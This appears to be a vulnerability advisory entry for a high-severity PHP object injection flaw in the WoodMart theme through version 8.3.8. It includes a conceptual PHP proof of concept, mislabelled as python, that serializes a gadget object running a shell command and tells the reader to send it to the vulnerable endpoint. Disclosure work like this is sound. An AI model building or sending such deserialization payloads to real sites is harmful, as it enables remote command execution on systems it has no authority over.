Deserialization of Untrusted Data vulnerability in xtemos WoodMart woodmart allows Object Injection.This issue affects WoodMart: from n/a through <= 8.3.8.
CVSS Details
CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
WoodMart <= 8.3.8
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php
/*
* Conceptual PoC for CVE-2026-23971 (WoodMart Object Injection)
* This script demonstrates how to generate a payload that could trigger
* the vulnerability if a usable POP chain exists in the scope.
*/
class ExampleGadget {
public $cmd;
public function __destruct() {
// Hypothetical execution point often found in deserialization exploits
if (isset($this->cmd)) {
system($this->cmd);
}
}
}
// Create the object and set the malicious command
$gadget = new ExampleGadget();
$gadget->cmd = "touch /tmp/pwned";
// Serialize the object to create the payload
$payload = serialize($gadget);
echo "Generated Payload:\n";
echo $payload . "\n";
echo "\nSend this payload to the vulnerable endpoint in the WoodMart theme.\n";
?>